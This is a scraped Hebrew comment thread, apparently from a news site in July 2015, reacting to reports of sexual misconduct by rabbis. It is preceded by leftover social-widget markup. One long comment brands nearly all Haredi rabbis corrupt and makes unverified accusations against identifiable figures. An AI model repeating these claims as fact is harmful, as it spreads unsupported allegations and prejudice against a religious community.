id="I0_1437294569399" name="I0_1437294569399" src="https://apis.google.com/u/0/se/0/_/+1/fastbutton?usegapi=1&size=medium&hl=iw&origin=http%3A%2F%2Fwww.kikar.co.il&url=http%3A%2F%2Fwww.kikar.co.il%2F176899.html&gsrc=3p&ic=1&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%3Doz.gapi.iw.IdfU2BRRGjY.O%2Fm%3D__features__%2Fam%3DQQ%2Frt%3Dj%2Fd%3D1%2Ft%3Dzcms%2Frs%3DAGLTcCP5nUtgY5IpW0uYdVyE5UnWy1D7aA#_methods=onPlusOne%2C_ready%2C_close%2C_%2C_resizeMe%2C_rerstart%2Concircled%2Cdrefresh%2Cerefresh%2C&id=I0_1437294569399&parent=http%3A%2F%2Fwww.kikar.co.il&pfname=&rpctoken=33864046" data-gapiattached="true" title="+1" style="position: static; top: 0px; width: 90px; margin: 0px; border-style: none; left: 0px; visibility: visible; height: 20px;"><* *************** name="fb_xdm_frame_http" frameborder="0" allowtransparency="true" allowfullscreen="true" scrolling="no" id="fb_xdm_frame_http" aria-hidden="true" title="Facebook Cross Domain Communication Frame" tabindex="-1" src="http://static.ak.facebook.com/connect/xd_arbiter/xRlIuTsSMoE.js?version=41#channel=fc5c5fc7c&origin=http%3A%2F%2Fwww.kikar.co.il" style="border-style: none; border-width: initial;"><**************** name="fb_xdm_frame_https" frameborder="0" allowtransparency="true" allowfullscreen="true" scrolling="no" id="fb_xdm_frame_https" aria-hidden="true" title="Facebook Cross Domain Communication Frame" tabindex="-1" src="https://s-static.ak.facebook.com/connect/xd_arbiter/xRlIuTsSMoE.js?version=41#channel=fc5c5fc7c&origin=http%3A%2F%2Fwww.kikar.co.il" style="border-style: none; border-width: initial;"><*
|
|
|
|
|
| נשלח ב-19/7/2015 11:39 |
|
| |
הדברים לא חדשים.
במדבר רבה (וילנא) פרשת קרח פרשה יח שמע משה מה שמע א"ר שמואל בר נחמני א"ר יונתן מלמד שחשדוהו באשת איש שנאמר (תהלים קו) ויקנאו למשה במחנה א"ר שמואל בר יצחק אמר רב מלמד שכל אחד קינא לאשתו ממשה
|
|
|
|
| נשלח ב-19/7/2015 12:18 |
|
| |
הרב ארוש הודיע לתלמידיו שיצר הרע של רבנים גדול יותר משאר בני האדם.
עכשין מובן הכל :הרי הרבנים לומדים תורה יותר משאר בני אדם כי כדי לדעת לפסוק צריך ללמוד יותר.
נובע מזה שלא רק שהתורה לא מגינה ומצילה מפני יצר הרע אלא שהיא עושה את ההפך.
הנה לדוגמה הרב ברלנד "הרב המעופף" שברח מהארץ על רקע של חשדות דומים לרב מהצפון דורש דרשה מיוחדת לפרשת מסעי וטוען באזני תלמידיו שמעופפים יחד איתו :"אנו זוכים למסעות. המסעות של האדם כתובים בתורה"
&nb
|
|
|
|
| נשלח ב-19/7/2015 12:48 |
|
| |
מתוף עולמם של חרדים אקדים כי חלילה לא כולם, ישנם גם יהודים תמימים ישרי דרך, אבל אלו מעטים, כל מה שאכתוב כאן אני מוציא מן הכלל את אותו מיעוט שאינו כזה, אבל אלו צדיקים בסדום, קשה למצוא אותם, ודוקא מי שאתם כל כך בטוחים כי הם צדיקים וישרים, הם הכי מסוכנים ומן הנסיון והמציאות אקבע, כי ככל שאתה בטוח יותר שהוא בודאי לא כזה, הוא הכי מסוכן שיש אני חי את הנושא הזה ארבעים שנה מהם 35 שנה מקרוב מאוד, ובשלשים השנים האחרונות כמעט ולא עברו כמה שבועות שלא שמעתי על עוד מעשים מחרידים הקשורים במי שמכונים רבנים צדיקים מקובלים ובעלי עוד כינויים כאלו, במיוחד היכן שהאדם שולט על כח, כאן הסכנה גדולה פי כמה, וכשסיפרו על רב מסויים שברח כי הוא עשה מה שעשה אני לא התפלאתי, ומבלי להכנס כאן לאם מדובר באמת או לא, הסבירות אמרה שכן, ככה זה לא רק אצלו, אצל עוד רבים אחרים אין אפוטרופוס לעריות, ולכן ככל שאתה גדול יותר אתה מסוכן יותר וזקוק להרבה שמירה, ולא בחינם הרבי'ס מעמידים שמירה על ילדיהם כבר מגיל חמש שלא יילכו בלי גבאים, בשביל להבטיח כי זה לא יקרה להם. אבל גם כאן תופתעו הגבאים הם המסייעים הכי גדולים לרבי'ס למעשים הללו, ודורנו זה כבר שכח את מה שקרה עם אותו אדמו"ר והגבאי שבעת שטסו לקליפורניה הרבי עסק בעליונים והגבאי בתחתונים וזה היה בערב שבועות התאים לרבי שיעסוק בעליונים ששו והגבאי בתחתונים עלזו, וכשיצאתי לרחוב עם הוכחות עם כל דברי החקירות במשטרה הבאתי העתקים של החקירה - באנגלית - זעקו גיוואלד היתכן לפרסם דבר שכזה היה זה אברך בן תורה שמסר שיעורים והיה מתפלל שמנה עשרה רבע שעה לפחות, מי שראה אותו מתפלל היה בטוח כי אין ירא שמים גדול ממנו, והוא זה שהאכיל מאות ואלפים נבלות וטריפות, נתפס שקנה טריפות ממש ומכר אותם כגלאט כשר במונסי, והעולם היהודי רעד מן הסיפור הזה. הבעלים לא היה מן הארחי פרחי, אלא בן תורה מקפיד על קלה כבחמורה, מתפלל באריכות ודבקות נותן שיעורים כל יום, והוא למען בצע כסף עשה מעשה שכזה היה זה אחד מן הגדולים הליטאים שכל ענייני גיור חייבים היו לעבור דרכו הוא היה הסמכות הכי גדולה בענין הזה, ומורשה על ידי הרבנים הכי גדולים, עד כדי שמצאת אותו לצידם של גדולי התורה באמריקה ובארץ כולל לצד הרב אלישיב, והוא היה מגייר תמורת מעשים מחרידים שהיה עושה בהם עד שכמה מהם פתחו את פיהם, ולא רק שלא נידוהו, הוא ממשיך לכהן כרב חשוב למרות המעשים המחרידים שעשה עתה כשסוערת צפת על הגילוי עם רב באיזור שלהם, תשמעו מה מספרים עליו, אין עוד מי שהיה מדקדק בהלכה יותר ממנו, אין עוד מי שקם לפנות בוקר לעבודת ה' ומי שהיה כל כולו עמל בתורה לא הפסיק ללמוד לרגע, מי שהכירו אותו היו משוכנעים כי הוא סגנו של הקב"ה, המראה שלו היה כל כולו קדושה, מעידים הקרובים אליו כי כל פסיעה שלו היתה על פי הלכה ובהידורים הכי גדולים, והנה הוא עשה מעשים מחרידים שאפילו הקל שבקלים אינו מרחיק כל כך בידי רשימה של רבנים שהסתבכו בגדול, ובינתיים לא אכתוב שמות, יתכן והגיע הזמן לפתוח סידרה ולפרסם מעשיהם אחד אחד ולהוכיח ולהראות לציבור במי מדובר ואיך נופלים בפח איך הם מרמים אותך שתאמין כי אתה נאמן ודבוק למי שהוא משכמו ומעלה ולמעשה מדובר בנוכל, המכנה המשותף של כל אלו שהם מושחתים כל אחד בתחום אחר, ישנם מי שכל כולם הונאה בענייני כסף, ויש מי שבענייני נשים ויש בענינים אחרים, כשכל התנהגותם היא לא יותר מאשר לטשטש את עיניך שלא תראה את האמת עם מי יש לך עסק תורתנו הקדושה מזהירה אותנו וקובעת 'אשר נשיא יחטא' כאן לא כתוב 'ואם' מפני שכל מי שיש בידו כח לא מסוגל שלא לחטוא, כולם בלי יוצא מן הכלל חוטאים וחייבים להביא חטאת, התורה לא השאירה אפילו פתח של 'ואם' אלא קבעה קביעה ברורה שככה זה. הגמרא מדגישה שאין אפוטרופוס לעריות, התורה מזהירה כי השוחד מעוור עיניים וזה כולל את מי שמכונים צדיקים גדולים וקדושים אדמורי"ם וראשי ישיבות, כולם בלי יוצא מן הכלל בימינו חשודים, ובעוד שבעבר היינו אנחנו צריכים להוכיח שהם כאלו התגלגלו הדברים למצב שרק מעטים הולכים בדרך הישר ועליהם להוכיח כי הם ישרים ונקיים מכל התועבות הללו הולכים אנחנו אחרי הנוכלים הללו כעוורים, מאמינים בבעלי תאוה מטונפים, כל הנושא של רביסטעווע והרצון להיות ראש ישיבה ועוד תפקידים כאלו הינם השחתה, לא אשכח את הגאון רבי מרדכי גיפטר ראש ישיבת טעלז זועק כי הרצון להיות ראש ישיבה הוא תאוה ככל התאוות, וכך אמר: 'הרצון להיות מסדר קידושין הוא תאוה ככל התאוות', וציוה שלא יקברוהו ליד ראשי ישיבות אלא לצד מלמדים פשוטים כן, חיים אנו בדור שכל כולו תאוה, ואם בעבר היו צריכים לעבוד על התאוה על מנת לזכות בתפקיד, היום לצערנו ובושתנו התאוה כל כך חזקה שדורסים אחרים עושים מעשים מחרידים, להרוג את האחר, אין בית אשר אין שם מת, בכל מקום בלי יוצא מן הכלל המצב הזה, ואנא אנו באים אין זה פלא שרבנים בורחים מפני החוק, מתמודדים עם חשדות קשות בקהילותיהם, שומעים דברים משמרי שיער, עד כדי שבעלו לשם איסור, עשו לכתחילה ילדים ממזרים כאילו בשביל לסייע לאותה אשה שלא יכלה להכנס להריון מבעלה, ואסור לשכוח כי רק אחוז קטן מתגלה הרוב עדיין מכוסה, וביום שיוודע האמת תרעד הארץ. הצרה הזו היא בכל מקום, לא רק אצל החילונים או אצל הלאומיים, אצל החרדים כמו אצל הקנאים, בכל מקום בלי יוצא מן הכלל, מתמודדים עם לכלוך קשה, והסיבה מדוע שזה עובר הוא מפני שמשתיקים לא מאפשרים לפתוח את הפה, ואם יש מי שמדבר נלחמים בו בחירוף נפש. זו הסיבה מדוע שהצטברו כל כך הרבה סוטים ברחוב החרדי, וזו הסיבה מדוע הורים נאנקים ממה שעושים לילדיהם בחיידרים ובתי הספר ואין להם מושיע כן, אנו מתמודדים עם בעיה קשה, שרק אנחנו אשמים במצב שנוצר, מפני ששתקנו סתמנו פיות. אבל לא עוד, אין עוד ברירה אלא להלחם באותם 'צדיקים' מושחתים, שהציבור יידע כי דורנו דור יתום, אין צדיקים אין מנהיגי אמת, אין גדולים ואין מי שאפשר להצביע עליו ולומר הנה יש לנו גואל מי שידריך אותנו איך לחיות. בימינו הגבאים הם קובעים לאדמו"ר מה לומר ומה לעשות - ראה את דברי השפע חיים מקלויזנבורג שכבר התריע על זה בשנות חייו - ולמרות שישנם מי שיש להם אלפי בשר בהמה הקוראים לעצמם חסידים, הם מושחתים מטבעם, הוכחנו זאת בעבר ואם יתן לנו ה' כח נוכיח זאת גם בעתיד, נסיר את המסוה מעל פני הצבועים השקרנים והרמאים המובילים את הציבור לתהום ובינתיים, אין לנו ברירה כלשהי אלא לחפש את אותם בודדים שהם אנשי אמת, ומהם נלמד ונעשה. נכון שזה קשה מאוד למצוא אותם, אז אתן לכם כלל ברזל, הם בורחים לא רוצים להבליט את עצמם ונוהגים כאחד האדם, הם רואים עצמם כמי שאינם ראויים להיות אדמורי"ם וגדולי תורה. מי שנאבק בכל כוחו להיות גדול ראש ישיבה או אדמו"ר זה הסימן הכי טוב כי הוא מושחת ואינו ראוי לתפקיד חיים שא
|
|
|
|
|
| נשלח ב-19/7/2015 12:52 |
|
| |
סתם שאלה מהיציע.
האם בטוח שפעם זה היה אחרת?
|
|
|
|
|
| נשלח ב-19/7/2015 13:57 |
|
| |
עוד הנחה מתנפצת כאן .
הלבוש הצנוע של בנות ישראל הכשרות והתמימות גם הוא לא מגן ולא מציל.אולי אפילו להפך.
|
|
|
|
|
